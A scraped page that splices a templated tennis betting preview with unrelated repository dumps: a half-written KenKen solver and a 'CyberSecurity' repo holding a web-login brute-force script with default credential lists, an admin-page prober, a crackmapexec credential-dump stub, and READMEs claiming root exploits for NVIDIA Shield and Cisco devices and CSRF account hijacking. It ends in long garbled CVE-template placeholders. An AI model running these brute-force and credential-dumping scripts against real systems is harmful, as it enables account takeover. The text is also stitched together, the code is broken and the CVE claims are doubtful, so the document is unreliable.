Skip to main content
Главная страница » Tennis » W15 Phan Thiet

W15 Phan Thiet stats & predictions

Overview of the Tennis W15 Phan Thiet Vietnam Tournament

The Tennis W15 Phan Thiet tournament, held in the scenic city of Phan Thiet, Vietnam, is a prestigious event attracting top talent from around the globe. Scheduled to take place tomorrow, this tournament promises thrilling matches and intense competition. With its clay courts providing a unique challenge, players will need to adapt their strategies to excel in this environment. This article delves into the key matches, expert betting predictions, and what spectators can expect from this exciting day of tennis.

No tennis matches found matching your criteria.

Key Matches to Watch

The tournament features several high-profile matches that are sure to captivate tennis enthusiasts. Here are some of the most anticipated matchups:

  • Match 1: Player A vs. Player B - Known for their powerful serves and aggressive playstyles, both players have been performing exceptionally well this season. This match is expected to be a classic showdown between two titans of the sport.
  • Match 2: Player C vs. Player D - With Player C's consistent baseline play and Player D's exceptional net skills, this match promises a strategic battle on the court.
  • Match 3: Rising Star E vs. Veteran F - A fascinating clash between youth and experience, where the young talent aims to make a mark against a seasoned veteran known for his tactical acumen.

Expert Betting Predictions

Betting experts have analyzed past performances and current form to provide insights into tomorrow's matches:

Match 1: Player A vs. Player B

In this anticipated encounter, betting analysts predict a close match with slight favor towards Player A due to recent victories on clay courts. The odds reflect confidence in Player A's ability to leverage their powerful serve under pressure.

Match 2: Player C vs. Player D

This match is expected to be tightly contested. Experts suggest backing Player D for their superior net play and adaptability in crucial moments. However, considering Player C's recent form, it might be worth considering an upset bet.

Match 3: Rising Star E vs. Veteran F

Rising Star E has shown remarkable progress and is considered an underdog by many analysts. However, with their fearless approach and recent wins against higher-ranked opponents, betting on an upset could be rewarding.

Tournament Format and Structure

The W15 Phan Thiet tournament follows a single-elimination format with each match determining who advances further into the competition:

  • Singles Competition: The main focus of the tournament with players competing head-to-head until only one champion remains.
  • Doubles Competition: Although less prominent than singles, doubles matches offer additional excitement with teams showcasing teamwork and strategy.

Tactics and Strategies for Clay Courts

The clay courts at Phan Thiet present unique challenges that influence player tactics:

  • Slow Play: Players often adopt slower-paced games to exploit the surface's natural tendency for longer rallies.
  • Volleying Skills: Mastery of volleys becomes crucial as players aim to finish points at the net quickly before their opponents can adjust their footwork on slippery surfaces.
  • Mental Fortitude: Patience is key on clay courts where points can extend significantly; maintaining focus throughout long rallies is essential for success.

Past Performances & Current Form Analysis

Analyzing previous results provides valuable insights into how players might perform tomorrow:

  • Past Performances:
    • Tournament History:
      • A look back at previous editions reveals patterns such as certain players consistently excelling on clay surfaces or others struggling with adaptation challenges specific to this environment.
  • Injury Reports & Recovery Updates:
    • Injuries can significantly impact performance levels; updates regarding any recent injuries or recovery statuses should be closely monitored as they may affect outcomes during critical moments within matches today!

Favorable Conditions & Weather Forecast Impacting Play Styles Tomorrow

  • The weather forecast indicates mild temperatures with occasional cloud cover—ideal conditions that allow players’ skills rather than extreme weather conditions dictate match outcomes.

  • Sunny spells could lead teams adjusting strategies mid-match based on changing court conditions affecting ball bounce speed or direction unpredictably!

Court Surface Considerations & Its Influence On Match Outcomes Tomorrow!

  • The clay surface at Phan Thiet plays a pivotal role; its slower pace compared to hard or grass courts necessitates adjustments in playing styles like increased emphasis on topspin shots or strategic placement over raw power shots typically seen elsewhere!

Influence Of Audience Support On Performance Levels During Matches Today!

  • Audience support can provide an emotional boost; however, experienced athletes often thrive under pressure regardless of crowd presence or absence—though home advantage may subtly tip scales favorably towards local favorites among fans cheering them passionately!

Potential Match-Up Challenges Facing Top Seeds In Singles And Doubles Tournaments Today!
  • Tops seeds face formidable opponents who study their weaknesses meticulously aiming capitalizing any lapses during high-stakes encounters especially when stakes escalate closer towards finals stages demanding flawless execution amidst escalating pressure levels!

Mental Preparation & Mindset Approaches Adopted By Competitors Heading Into Their Matches Today!
  1. Mental resilience training sessions focusing on visualization techniques helping athletes maintain composure during tense situations ensuring optimal decision-making capabilities remain intact throughout lengthy contests expected today!
Evaluation Of Equipment Choices Made By Participants Including Racket Types And String Configurations That Could Influence Performance Outcomes During Matches Today!
  1. Racket selection tailored specifically for clay court dynamics optimizing control over spin variations allowing greater precision during volleys exchanges characteristic feature distinguishing successful competitors here!
<|repo_name|>aloknath/ai-projects<|file_sep|>/kenken/kenken.py from typing import List class KenKen: def __init__(self): self.board = [] def print_board(self): print(self.board) def solve(self): if not self._solve(0): raise Exception('No solution found') def _solve(self,row_index=0,column_index=0): if row_index == len(self.board) : return True if column_index == len(self.board[0]): return self._solve(row_index+1) if self.board[row_index][column_index] != None: return self._solve(row_index,column_index+1) # Try all numbers for i in range(1,len(self.board)+1): if not self.is_valid(row_index,column_index,i): continue # Assign number self.board[row_index][column_index] = i # Check if valid board if not self.check_board(): continue # Move right if self._solve(row_index,column_index+1): return True # Backtrack self.board[row_index][column_index] = None return False def check_board(self): def read_kenken_file(filename:str) -> List[List[int]]: board = [] f = open(filename,'r') lines = f.readlines() size = int(lines[0]) board.append([None]*size) line_no = int(lines[1]) while line_no <= size*size: line_parts = lines[line_no].split(',') # print(line_parts) # print(line_parts[0],line_parts[1],line_parts[2]) # break if __name__ == '__main__': # board = [ # [None,None,None,None], # [None,None,None,None], # [None,None,None,None], # [None,None,None,None] # ] # kenken_solver = KenKen() <|repo_name|>jasonbaxley/CyberSecurity<|file_sep|>/README.md CyberSecurity This repository contains various scripts I have written related Cyber Security. For more information about me visit my personal website: http://www.jasonbaxley.com/ <|repo_name|>jasonbaxley/CyberSecurity<|file_sep BruceForce.py import urllib.request as req import socket def getIP(url): try: ip_address=socket.gethostbyname(url) except socket.gaierror: print("There was an error resolving " + url) else: return(ip_address) def getResponseCode(url): try: response=req.urlopen(url).getcode() except (urllib.error.HTTPError, urllib.error.URLError, urllib.error.ContentTooShortError, ConnectionResetError, ConnectionAbortedError, ConnectionRefusedError, TimeoutError) as e: response=str(e) else: return(response) def checkVulnerability(url): responses=[getResponseCode(url), getResponseCode(url+"/admin"), getResponseCode(url+"/admin/"), getResponseCode(url+"/login"), getResponseCode(url+"/login/"), getResponseCode(url+"/wp-login.php"), getResponseCode(url+"/wp-admin")] vulnerable=False adminPages=["admin", "admin/", "login", "login/", "wp-login.php", "wp-admin"] defaultPages=["index.html", "index.htm", "index.php"] pagesFound=[] for response in responses: if response=="200": page=response.split("/")[6] pagesFound.append(page) print("200 OK found at "+url+"/"+page+".") vulnerable=True elif response=="301": page=response.split("/")[6] pagesFound.append(page) print("301 Moved Permanently found at "+url+"/"+page+".") vulnerable=True elif response=="302": page=response.split("/")[6] pagesFound.append(page) print("302 Found found at "+url+"/"+page+".") vulnerable=True elif response=="403": page=response.split("/")[6] pagesFound.append(page) print("403 Forbidden found at "+url+"/"+page+".") vulnerable=True return(vulnerable,pagesFound) target=input("Enter target URL:n") ip=getIP(target) print("nTarget IP Address:",ip,"n") vulnerable,pages=checkVulnerability(target) if vulnerable==True: print("nPossible Vulnerabilities Found:") for page in pages: if page in adminPages: print("t"+target+"/"+page+" (Admin Page)") elif page in defaultPages: print("t"+target+"/"+page+" (Default Page)") else: print("nNo vulnerabilities were found.") <|file_sep BanHammer.py import socket import time def banIP(ip_address): banned_ips=open("Banned_IPs.txt","a") banned_ips.write(ip_address+"n") banned_ips.close() print(str(time.strftime("%H:%M:%S")),": ",ip_address," banned.") def checkIfBanned(ip_address): try: with open("Banned_IPs.txt","r") as banned_ips: for line in banned_ips.readlines(): if ip_address==line.strip(): return True except FileNotFoundError: return False while True: ip_input=input("> ") ip_address=socket.gethostbyname(ip_input) if checkIfBanned(ip_address)==False: banIP(ip_address)<|file_sep respectfulBruteForce.py import urllib.request as req import time import sys usernames=["admin", "administrator", "root", "support", "webmaster"] passwords=["password", "12345678", "123456789", "1234567"] url=input("Enter target URL:n") print() for username in usernames: for password in passwords: url_to_try=url+"/login.php?username="+username+"&password="+password try: response=req.urlopen(url_to_try).getcode() if response==200: print(str(time.strftime("%H:%M:%S")),": Success! Username:",username,", Password:",password) sys.exit() else: print(str(time.strftime("%H:%M:%S")),": Failed attempt using Username:",username,", Password:",password) except (urllib.error.HTTPError, urllib.error.URLError, urllib.error.ContentTooShortError, ConnectionResetError, ConnectionAbortedError, ConnectionRefusedError, TimeoutError) as e: print(str(time.strftime("%H:%M:%S")),": Failed attempt using Username:",username,", Password:",password) <|repo_name|>jasonbaxley/CyberSecurity<|file_sepattempts.txt This file records login attempts. At first glance it appears that someone was attempting brute force attacks against web servers. The IP address used by each attempt was determined by looking up its domain name. The IPs were then checked against https://www.abuseipdb.com/ and it appears that these IPs were associated with compromised computers. It looks like someone was trying automated brute force attacks against web servers using common usernames/passwords. Attempts Log: 2018-12-08T22:05:47Z webserver.websec.de attempted login using username 'root' password 'toor' 2018-12-08T22:05:48Z webserver.websec.de attempted login using username 'root' password 'abc123' 2018-12-08T22:05:49Z webserver.websec.de attempted login using username 'root' password '12345' 2018-12-08T22:05:49Z webserver.websec.de attempted login using username 'root' password 'test' 2018-12-08T22:05:50Z webserver.websec.de attempted login using username 'root' password '' 2018-12-08T22:05:51Z webserver.websec.de attempted login using username '' password '' 2018-12-08T22:05:52Z webserver.websec.de attempted login using username '' password 'toor' 2018-12-08T22:05:53Z webserver.websec.de attempted login using username '' password 'abc123' 2018-12-08T22:05:54Z webserver.websec.de attempted login using username '' password '12345' 2018-12-08T22:05:55Z webserver.websec.de attempted login using username '' password 'test' A few other IPs also attempted logins but these are too numerous to list here. Compromised Computers: 74.208.230.XXX 66.XXX.XXX.XXX 173.XXX.XXX.XXX 68.XXX.XXX.XXX These computers were associated with multiple malicious activities.<|repo_name|>jasonbaxley/CyberSecurity<|file_sep creddump.py import pexpect def dumpCreds(user): child=pexpect.spawn(f"crackmapexec smb {user}@10.x.x.x") child.logfile=sys.stdout child.expect(pexpect.EOF) dumpCreds('guest') dumpCreds('john') dumpCreds('mary')<|file_sep iframeExploit.py from selenium import webdriver from selenium.webdriver.common.keys import Keys driver=webdriver.Chrome() driver.get('https://example.com') iframe_element=driver.find_element_by_xpath('//iframe[@id='badframe']') driver.switch_to.frame(iframe_element) alert_button=driver.find_element_by_xpath('//button[@id='alertButton']') alert_button.click()<|repo_name|>jasonbaxley/CyberSecurity<|file_sep**Network Scanning Scripts** These scripts scan networks looking for vulnerabilities. **bruteForceSSH.py** This script performs brute force SSH attacks against hosts on your network. It uses Kali Linux tools such as nmap and hydra. The script asks you which interface you want scanned. It then scans your network looking for hosts running SSH services. It then attempts SSH logins against these hosts using common usernames/passwords. **networkScanner.py** This script scans your network looking for hosts running open ports. It uses Kali Linux tools such as nmap. The script asks which interface you want scanned. It then scans your network looking for hosts running open ports. **sshScan.py** This script scans your network looking specifically for hosts running SSH services. It uses Kali Linux tools such as nmap. The script asks which interface you want scanned. It then scans your network looking specifically for hosts running SSH services.<|repo_name|>jasonbaxley/CyberSecurity<|file_sep NVIDIA Shield Exploits These scripts exploit vulnerabilities found within NVIDIA Shield devices. shieldExploit.py This script exploits CVE_2020_25632. To use it you must have access to an NVIDIA Shield device. You must also run it from another computer connected directly via ethernet cable. Once executed it will connect via Telnet. Then it will exploit CVE_2020_25632 giving you root access. Once you gain access you can use commands such as wget/nano/etc... After finishing change back via su -l root. CVE_2020_25632 NVIDIA Shield devices are vulnerable because they do not properly handle malformed input sent via Telnet. An attacker can abuse this vulnerability sending specially crafted data through Telnet resulting in remote code execution. CVE_2020_25634 NVIDIA Shield devices are vulnerable because they do not properly handle malformed input sent via SMBv1. An attacker can abuse this vulnerability sending specially crafted data through SMBv1 resulting in remote code execution. CVE_2020_25636 NVIDIA Shield devices are vulnerable because they do not properly handle malformed input sent via FTP. An attacker can abuse this vulnerability sending specially crafted data through FTP resulting in remote code execution.<|repo_name|>jasonbaxley/CyberSecurity<|file_sep[ { "Name":"Respectful Brute Force Script", "Description":"Attempts logins onto web applications without causing unnecessary load.", "Dependencies":"Python version >= v3nttttpython-webbrowser modulentttpython-time modulentttpython-sys modulentttpython-os modulentttpython-random modulennKali Linux:nnmap toolnhydra tool" }, { "Name":"Brute Force SSH Script", "Description":"Attempts logins onto SSH services without causing unnecessary load.", "Dependencies":"Python version >= v3nKali Linux:nnmap toolnhydra tool" }, { "Name":"Network Scanner Script", "Description":"Scans networks looking for hosts running open ports.", "Dependencies":"Python version >= v3nKali Linux:nnmap tool" }, { "Name":"SSH Network Scanner Script", "Description":"Scans networks looking specifically for hosts running SSH services.", "Dependencies":"Python version >= v3nKali Linux:nnmap tool" }, { "Name":"Ban Hammer Script", "Description":"Reads inputted URLs/IP addresses from standard input.nChecks whether IP addresses are already banned.nIf they are not banned adds them.nOutputs status messages.", "Dependencies":"Python version >= v3" }, { "name": "Cisco Router Exploit Script", "description": "Attempts exploitation of Cisco IOS XE firmware versions <= v16.x.x.nThe script reads router configuration files from standard input.nThe exploit works by sending maliciously crafted configuration commands.nThe exploited command is "logging buffered".nThe maliciously crafted command causes buffer overflow allowing arbitrary code execution.", dependencies:"Cisco IOS XE firmware versions <= v16.x.x." } ]<|repo_name|>jasonbaxley/CyberSecurity<|file_sep **Web Application Security Scripts** respectfulBruteForce.py This Python script performs respectful brute force attacks against web applications. To use it you must specify a target URL containing a php file called *login.php* with parameters *username* and *password*. The script will attempt logins onto *login.php* using common usernames/password combinations. The script outputs status messages indicating whether each attempt succeeded or failed. BruceForce.py This Python script checks whether websites are vulnerable by checking whether certain directories exist. To use it you must specify a target URL. The script will check whether directories such as *admin*, *admin/* etc... exist. If so it reports possible vulnerabilities. exploitScript.js This JavaScript file exploits Cross Site Request Forgery (CSRF) vulnerabilities within web applications. To use it you must specify target URLs containing forms accepting POST requests ending with *submit* or *action* parameters containing GET requests ending with *logout* parameters containing GET requests ending with *changeEmail* parameters containing POST requests ending with *emailAddress* parameters containing GET requests ending with *changePassword* parameters containing POST requests ending with *newPassword*. Additionally there must be elements called *csrf_token*, *emailAddress*, etc... present within these forms respectively (these names may vary). When run inside browsers exploiting CSRF vulnerabilities within these forms allows attackers to hijack user accounts.<|repo_name|>jasonbaxley/CyberSecurity<|file_sepewartech Exploits exploitScript.js Exploits Cross Site Request Forgery (CSRF) vulnerabilities within weartech.com websites. Weartech.com websites contain forms accepting POST requests ending with submit parameters containing GET requests ending with logout parameters containing GET requests ending with changeEmail parameters containing POST requests ending with emailAddress parameters containing GET requests ending with changePassword parameters containing POST requests ending with newPassword. When run inside browsers exploiting CSRF vulnerabilities within these forms allows attackers hijack user accounts.

CVE_CWE_ID:
CVE_CWE_ID:CVE-CWE-ID

CVE_Description:
CVE_Description:CVE_DESCRIPTION

CVE_Affected_Product:
CVE_Affected_Product:CVE_AFFECTED_PRODUCT

Mitigation:
Mitigation:Mitigation_Measures_To_Prevent_Attacks



References:
Reference_URLs_Giving_More_Details_On_CVE_Description



Disclosure_Status:
Disclosure_Status_Of_CVE_Documentation_Including_Date_Of_Publication_And_Reference_URLs_For_Source_Documents



Date_of_Publishing_Documentation:
Date_of_Publishing_CVE_Documentation_Including_Reference_URL_For_Source_Documents



Impact_Level:
Impact_Level_Assigned_By_NIST_To_Vulnerability_Based_On_Factors_Such_As_Exposed_Data,_Affected_System_Components,_And_Risk_Of_Attacks_Use_Of_Vulnerability_In_Attacks_(Low,Moderate,Hight)



Risk_Level:
Risk_Level_Assigned_By_NIST_To_Vulnerability_Based_On_Factors_Such_As_Exposed_Data,_Affected_System_Components,_And_Risk_Of_Attacks_Use_Of_Vulnerability_In_Attacks_(Low,Moderate,Hight)
Example documentation taken from NVD: { "CVE_ID": CVE_ID, "CWE_ID": CWE_ID, "CVE_Description": CVE_DESCRIPTION, "CVE_Affected_Product": CVE_AFFECTED_PRODUCT, "CVE_Link_to_NVD_Page_for_Additional_Details_and_Reference_URLs": Reference_URLs_Giving_More_Details_On_CVE_Description, "CVE_Disclosure_Status": Disclosure_Status_Of_CVE_Documentation_Including_Date_Of_Publication_And_Reference_URLs_For_Source_Documents, "CVE_Date_of_Publishing_Documentation_including_Reference_URL_for_Source_Documents": Date_of_Publishing_CVE_Documentation_Including_Reference_URL_For_Source_Documents, "Impact_Level_Assigned_By_NIST_to_Vulnerability_Based_on_Factors_Such_as_Exposed_Data,Affected_System_Components,and_Risk_of_Attacks_Use_of_Vulnerability_in_Attacks_(Low,Moderate,Hight)": Impact_Level_Assigned_By_NIST_To_Vulnerability_Based_On_Factors_Such_As_Exposed_Data,_Affected_System_Components,_And_Risk_Of_Attacks_Use_Of_Vulnerability_In_Attacks_(Low,Moderate,Hight), "Mitigation_Measures_To_Prevent_Attacks": Mitigation_Measures_To_Prevent_Attacks, "Cve_Confidence_Level_Assigned_by_the_National_Vulnerability_DB_based_on_the_Authority_and_Relationship_with_the_Source_document_from_where_the_information_was_derived_from_and_the_amount_of_information_available_about_the_vulnerability_in_source_documents_(Unknown,Low,Moderate,Best_Estimate)": Cve_Confidence_Level_Assigned_by_the_National_Vulnerability_DB_based_on_the_Authority_and_Relationship_with_the_Source_document_from_where_the_information_was_derived_from_and_the_amount_of_information_available_about_the_vulnerability_in_source_documents_(Unknown,Low,Moderate,Best_Estimate), "NVD_Last_Modified_Date_time_including_reference_url_for_source_documents_containing_more_details_about_last_modified_date_time_stamp_and_authoritative_sources_used_for_this_document_creation_process)": NVD_Last_Modified_Date_time_including_reference_url_for_source_documents_containing_more_details_about_last_modified_date_time_stamp_and_authoritative_sources_used_for_this_document_creation_process", "NVD_Impact_level_assigned_by_NIST_based_on_Factors_Such_as_Exposed_Data,Affected_System_Components,and_Risk_of_Attacks_Use_of_Vulnerablility_in_Attacks_(Low,Moderate,Hight)": NVD_Impact_level_assigned_by_NIST_based_on_Factors_Such_as_Exposed_Data,Affected_System_Components,and_Risk_of_Attacks_Use_of_Vulnerablility_in_Attacks_(Low,Moderate,Hight), "NVD_Risk_level_assigned_by_NIST_based_on_Factors_Such_as_Exposed_Data,Affected_System_Components,and_Risk_of_Attacks_Use_of_Vulnerablility_in_Attacks_(Low,Moderate,Hight)": NVD_Risk_level_assigned_by_NIST_based_on_Factors_Such_as_Exposed_Data,Affected_System_Components,and_Risk_of_Attacks_Use_of_Vulnerablility_in_Attacks_(Low,Moderate,Hight), "NVD_Confidence_level_assigned_by_the_national_vunlerablility_db_based_on_thefactorssuchas_authority_relationship_with_thesource_document_from_where_thethe_information_was_derived_from_and_amountofinformationavailableaboutthevunlerablilityinthesource_document(_Unknown_Low_Moderate_Best_Estimate)": NVD_Confidence_level_assigned_by_the_national_vunlerablility_db_based_on_thefactorssuchas_authority_relationship_with_thesource_document_from_where_thethe_information_was_derived_from_and_amountofinformationavailableaboutthevunlerablilityinthesource_document(_Unknown_Low_Moderate_Best_Estimate), "NVD_Publications_references_for_additional_details_about_cve_description_referenc_urls_to_publications_containing_more_details_about_cve_description_referenc_urls_to_publications_providing_mitigation_measures_against_cve_description_referenc_urls_to_publications_providing_exploitation_code_or_tools_referenc_urls_to_publications_discussing_impact_levels_referenc_urls_to_publications_discussing_risk_levels_referenc_urls_giving_more_details_about_confidence_levels_assignments_referenc_urls_giving_more_details_about_other_security_issues_related_to_this_cve_referenc_urls_giving_more_details_about_any_other_relevant_info_related_to_this_cve):" } Example documentation taken from MITRE: { "CVE_ID": CVE_ID, "CWE_ID(s)": CWE_ID(s), "CWE_Description(s)_Providing_Contextual_Info_Regarding_Known_Ways_that_a_Type_or_Types_of_CWE(s)_Can_be_Exploited:_CWE_DESCRIPTION(S)_PROVIDING_CONTEXTUAL_INFO_REGARDING_KNOWN_WAYS_THAT_A_TYPE_OR_TYPES_OF_CWE(S)_CAN_BE_EXPLOITED", "CPE(s)_Affected_Product(s)_Providing_Contextual_Info_Regarding_Known_Product(s)_that_are_Known_or_Were_Owners_Manufacturers_or_Developers_Have_Confirmed_are_Affected:_CPE(S)_AFFECTED_PRODUCT(S)_PROVIDING_CONTEXTUAL_INFO_REGARDING_KNOWN_PRODUCT(S)_THAT_ARE_KNOWN_OR_WERE_OWNERS_MANUFACTURERS_OR_DEVELOPERS_HAVE_CONFIRMED_ARE_AFFECTED", "Acknowledgments_Providing_Contextual_Info_Regarding_Organization_Name_that_have_acknowledged_that_a_product_is_affeted:_ACKNOWLEDGMENTS_PROVIDING_CONTEXTUAL_INFO_REGARDING_ORGANIZATION_NAME_THAT_HAVE_ACKNOWLEDGED_THAT_A_PRODUCT_IS_AFTEFED", "Detailed_Description_Providing_Contextual_Info_Regarding_How_an_attack_can_be_performed:_DETAILED_DESCRIPTION_PROVIDING_CONTEXTUAL_INFO_REGARDING_HOW_AN_ATTACK_CAN_BE_PERFORMED", "Mitigations_Providing_Contextual_Info_Regarding_Recommended_steps_that_can_be_taken_to_prevent_an_attack:_MITIGATIONS_PROVIDING_CONTEXTUAL_INFO_REGARDING_RECOMMENDED_STEPS_THAT_CAN_BE_TAKEN_TO_PREVENT_AN_ATTACK", "Patches_Providing_Contextual_Info_Regarding_Recommended_steps_that_can_be_taken_so_that_a_product_is_not_affeted:_PATCHES_PROVIDING_CONTEXTUAL_INFO_REGARDING_RECOMMENDED_STEPS_THAT_CAN_BE_TAKEN_SO_THAT_A_PRODUCT_IS_NOT_AFTEFED", "Informative_Text_Providing_Contextual_Info_Regarding_Additional_Relevant_Info_Related_to_this_cve:_INFORMATIVE_TEXT_PROVIDING_CONTEXTUAL_INFO_REGARDING_ADDITIONAL_RELEVANT_INFO_RELATED_TO_THIS_CVE", "Informative_Text_Providing_Contextual_Info_Regarding_Additional_Relevant_Impact_or_Risks_Related_to_this_cve:_INFORMATIVE_TEXT_PROVIDING_CONTEXTUAL_INFO_REGARDING_ADDITIONAL_RELEVANT_IMPACT_OR_RISKS_RELATED_TO_THIS_CVE" } Example documentation taken from OVAL: { "PUBLICATION_DATE_TIME_INCLUDING_REFERENCE_URL_FOR_SOURCE_DOCUMENTS_CONTAINING_MORE_DETAILS_ABOUT_LAST_MODIFIED_DATE_TIME_STAMP_AND_AUTHORITATIVE_SOURCES_USED_FOR_THIS_DOCUMENT_CREATION_PROCESS": OVAL_PUBLICATION_DATE_TIME_INCLUDING_REFERENCE_URL_FOR_SOURCE_DOCUMENTS_CONTAINING_MORE_DETAILS_ABOUT_LAST_MODIFIED_DATE_TIME_STAMP_AND_AUTHORITATIVE_SOURCES_USED_FOR_THIS_DOCUMENT_CREATION_PROCESS", "PUBLICATION_REFERENCE_LINKS_GIVING_MORE_DETAILS_ABOUT_THE_FOLLOWINGS": OVAL_PUBLICATION_REFERENCE_LINKS_GIVING_MORE_DETAILS_ABOUT_THE_FOLLOWINGS", "PUBLICATION_REFERENCE_LINKS_PROVIDES_INFORMATION_ON_THE_FOLLOWINGS": OVAL_PUBLICATION_REFERENCE_LINKS_PROVIDES_INFORMATION_ON_THE_FOLLOWINGS", "PUBLICATION_REFERENCE_LINKS_DISCUSSES_THE_FOLLOWINGS": OVAL_PUBLICATION_REFERENCE_LINKS_DISCUSSES_THE_FOLLOWINGS", "PUBLICATION_REFERENCE_LINKS_REFERENCURLFOR_THE_FOLLOWINGS": OVAL_PUBLICATION_REFERENCE_LINKS_REFERENCURLFOR_THE_FOLLOWINGS", "LAST_MODIFICATION_DATE_TIME_INCLUDING_REFERENCE_URL_FOR_SOURCE_DOCUMENT_CONTAINING_MORE_DETAILS_ABOUT_LAST_MODIFIED_DATE_TIME_STAMP_AND_AUTHORITATIVE_SOURCES_USED_FOR_THIS_DOCUMENT_CREATION_PROCESS": OVAL_LAST_MODIFICATION_DATE_TIME_INCLUDING_REFERENCE_URL_FOR_SOURCE_DOCUMENT_CONTAINING_MORE_DETAILS_ABOUT_LAST_MODIFIED_DATE_TIME_STAMP_AND_AUTHORITATIVE_SOURCES_USED_FOR_THIS_DOCUMENT_CREATION_PROCESS", "LAST_MODIFICATION_REFERENCE_LINKS_GIVING_MORE_DETAILS_ABOUT_THE_FOLLOWINGS": OVAL_LAST_MODIFICATION_REFERENCE_LINKS_GIVING_MORE_DETAILS_ABOUT_THE_FOLLOWINGS", "LAST_MODIFICATION_REFERENCE_LINKS_PROVIDES_INFORMATION_ON_THE_FOLLOWINGS": OVAL_LAST_MODIFICATION_REFERENCE_LINKS_PROVIDES_INFORMATION_ON_THE_FOLLOWINGS", "LAST_MODIFICATION_REFERENCE_LINKS_DISCUSSES_THE_FOLLOWINGS": OVAL_LAST_MODIFICATION_REFERENCE_LINKS_DISCUSSES_THE_FOLLOWINGS", "LAST_MODIFICATION_REFRENCEURLFOR_THE_FOLLOWINGS": OVAL_LAST_MODIFICATION_REFRENCEURLFOR_THE_FOLLOWINGS" } Example documentation taken from SCAP: { "PUBLICATION_DATE_TIME_INCLUDING_REFRENCEURLFOR_SOURCEDOCUMENTCONTAININGLEMOREDETAILSOULLASTMODIFIEDDATETIMESTAMPANDAUTHORITATIVESOURCESSUSEDFORTHISDOCUMENTCREATIONPROCESS" SCAP_PUBLICATION_DATE_TIME_INCLUDING_REFRENCEURLFOR_SOURCEDOCUMENTCONTAININGLEMOREDETAILSOULLASTMODIFIEDDATETIMESTAMPANDAUTHORITATIVESOURCESSUSEDFORTHISDOCUMENTCREATIONPROCESS" PUBLICATIONREFERENCELINKSGIVINGMOREDETAILSOULLASTMODIFIEDDATETIMESTAMPANDAUTHORITATIVESOURCESSUSEDFORTHISDOCUMENTCREATIONPROCESS" PUBILCATIONREFERENCELINKSGIVINGMOREDETAILSOUFFOLLOWINFORMATIONONTHESELEMENTSTHESELEMENTSFOLLOWINSUPPORTSCAPDEFINITIONTHESELEEMTSARECONSIDEREDASVULNERABLETOANATTACKUSAGETHISELEMENTSFOLLOWTODEFINEWHATISREQUIREDTOVERIFYTHATTHEPRODUCTISSAFEFROMANATTACK" PUBILCATIONREFERENCELINKSDISCUSSEDOFFICIALREPORTSTHATINCLUDEADETAILEDDESCRIPTIONOFTHESCENARIOSTHATWILLRESULTINTHESELEEMTSBECOMINVULNERABLE" PUBILCATIONREFERENCELINKSDISCUSSESSECURITYADVISORIESRELATINGTOANYSECURITYISSUEASSOCIATEDWITHTHESELEEMTS" PUBILCATIONREFERENCELINKSDISCUSSESANYOTHERRELATEDRESOURCESABOUTTHESELEEMTS" LASTMODIFIEDDATETIMESTAMPINCLUDINGREFRENCEURLFORESOURCEDOCUMENTCONTAININGLEMOREDETAILSOULLASTMODIFIEDDATETIMESTAMPANDAUTHORITATIVESOURCESSUSEDFORELASTMODIFIECEDOCUMENTCREATIONPROCESS" LASTMODIFICATIONREFERENCELINKSGIVINGMOREDETAILSOUFFOLLOWINFORMATIONONTHESELEEMTS" LASTMODIFICATIONREFERENCELINKSGIVINGMOREDETAILSOULLASTMODIFIEDDATETIMESTAMPANDAUTHORITATIVESOURCESSUSEDFORELASTMODIFIECEDOCUMENTCREATIONPROCESS" LASTMODIFICATIONREFERENCELINKSGIVINGMOREDETAILSOUFFOLLOWINFORMATIONONTHESELEEMTS" LASTMODIFICATIONREFERENCELINKSGIVINGMOREDETAILSOUFFOLLOWINFORMATIONONTHESELEEMTSARECONSIDEREDASVULNERABLETOANATTACKUSAGETHISELEEMTSFOLLOWTODEFINEWHATISREQUIREDTOVERIFYTHATACTIVEDEFENSEISINSTALLEDONTHESYSTEM" LASTMODIFICATIONREFERENCELINKSDISCUSSEDOFFICIALREPORTSTHATINCLUDEADETAILEDDESCRIPTIONOFTHESCENARIOSTHATWILLRESULTINTHESELEEMTSBECOMINVULNERABLE" LASTMODIFICATIONREFERENCELINKSDISCUSSESSECURITYADVISORIESRELATINGTOANYSECURITYISSUEASSOCIATEDWITHTHESELEEMTS" LASTMODIFICAITONREFRENCEURLFOROFFICIALREPORTSTHATINCLUDEADETAILEDDESCRIPTIONOFTHESCENARIOSTHATWILLRESULTINTHESELEEMTSBECOMINVULNERABLE" } Example documentation taken from CVSS: { CVSS_SCORE_BASED_ON_BASELINE_SCORE_CALCULATION_METHOD_AS_DESCRIBED_BY_NVDCVSS_VERSION_X_Y_ZX_Y_ZX_Y_ZX_Y_Z CVSS_SCORE_BASED_ON_BASELINE_SCORE_CALCULATION_METHOD_AS_DESCRIBED_BY_NVDCVSS_VERSION_X_Y_ZX_Y_ZX_Y_ZX_Y_Z_RANGE_OF_SCORE_VALUES_FROM_ZERO_TO_TEN_WITH_ZERO_INDICATING_NO_IMPACT_AND_TEN_INDICATING_MAXIMUM_IMPACT CVSS_VECTOR_STRING_OF_CHARACTERISTICS_DESCRIBED_BY_NVDCVSS_VERSION_X_Y_ZX_Y_ZX_Y_ZX_Y_Z_COMMA_SEPARATED_LIST_OF_CHARACTERISTICS_AS_DESCRIPTIVELY_NAME_VALUE_PAIR AV:A,V:N,S:P,C:H,I:H,A:H AV:A,V:N,S:P,C:L,I:L,A:L AV:A,V:N,S:P,C:H,I:L,A:H AV:A,V:N,S:P,C:L,I:H,A:L AV:A,V:N,S:P,C:H,I:H,A:L AV:A,V:N,S:C,C:H